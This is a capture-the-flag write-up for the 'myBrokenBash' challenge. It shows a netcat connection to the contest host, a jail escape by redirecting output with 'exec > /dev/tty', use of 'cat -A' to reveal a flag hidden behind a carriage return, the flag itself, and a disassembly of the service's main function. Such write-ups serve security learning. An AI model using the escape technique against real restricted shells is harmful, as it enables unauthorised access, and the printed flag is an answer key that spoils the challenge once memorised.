# myBrokenBash
## AboutIn this challenge we were provided with a simple echo service.You could connect to it:
```bashnc mybrokenbash.insomni.hack 1337```And afterwards send some text which got repeated.
## Step 1: Prison breakI was able to break out of the jail by providing the following input:
```bashexec > /dev/tty```Now we spawned a regular bash shell.
## Step 2: Deeply hiddenWhen listing the files I found one called flag:
```bashlsbin   dev  flag  lib	media  opt   root  sbin  sys  usrboot  etc  home  lib64	mnt    proc  run   srv	 tmp  var```
But it didn't reveal everything yet:```bashcat flagalmost there ;-)_1t_s_n0t_so_ea4y}```
Now I only needed to print the 'full' file not only the characters after the carriage return:
```bashcat -A flagINS{c@t_th3_Flag_1t_s_n0t_so_ea4y}^Malmost there ;-)$```
Flag: INS{c@t_th3_Flag_1t_s_n0t_so_ea4y}
## Bonus
Here's the binary I extracted :
```bash[0x000008c0]> pdf @ main/ (fcn) main 116|   main (int argc, char **argv, char **envp);|           ; var int canary @ rbp-0x8|           ; DATA XREF from entry0 (0x8dd)|           0x00000ab4      55             push rbp|           0x00000ab5      4889e5         mov rbp, rsp|           0x00000ab8      4883ec10       sub rsp, 0x10|           0x00000abc      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x1138 ; '('|           0x00000ac5      488945f8       mov qword [canary], rax|           0x00000ac9      31c0           xor eax, eax|           0x00000acb      b800000000     mov eax, 0|           0x00000ad0      e84bffffff     call sub.dev_urandom_a20|           0x00000ad5      488d3dec0000.  lea rdi, str.Welcome_to__INS19 ; 0xbc8 ; "*** Welcome to #INS19!! ***\n" ; const char *s|           0x00000adc      e86ffdffff     call sym.imp.puts           ; int puts(const char *s)|           0x00000ae1      488d3dfd0000.  lea rdi, str.cat_the_flag_here_please ; 0xbe5 ; "cat the flag here please ;-)" ; const char *s|           0x00000ae8      e863fdffff     call sym.imp.puts           ; int puts(const char *s)|           0x00000aed      bf01000000     mov edi, 1                  ; int fildes|           0x00000af2      e879fdffff     call sym.imp.close          ; int close(int fildes)|           0x00000af7      bf02000000     mov edi, 2                  ; int fildes|           0x00000afc      e86ffdffff     call sym.imp.close          ; int close(int fildes)|           0x00000b01      488d3dfa0000.  lea rdi, str.bin_sh         ; 0xc02 ; "/bin/sh" ; const char *string|           0x00000b08      e853fdffff     call sym.imp.system         ; int system(const char *string)|           0x00000b0d      b800000000     mov eax, 0|           0x00000b12      488b55f8       mov rdx, qword [canary]|           0x00000b16      644833142528.  xor rdx, qword fs:[0x28]|       ,=< 0x00000b1f      7405           je 0xb26|       |   0x00000b21      e832fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)|       |   ; CODE XREF from main (0xb1f)|       `-> 0x00000b26      c9             leave\           0x00000b27      c3             ret```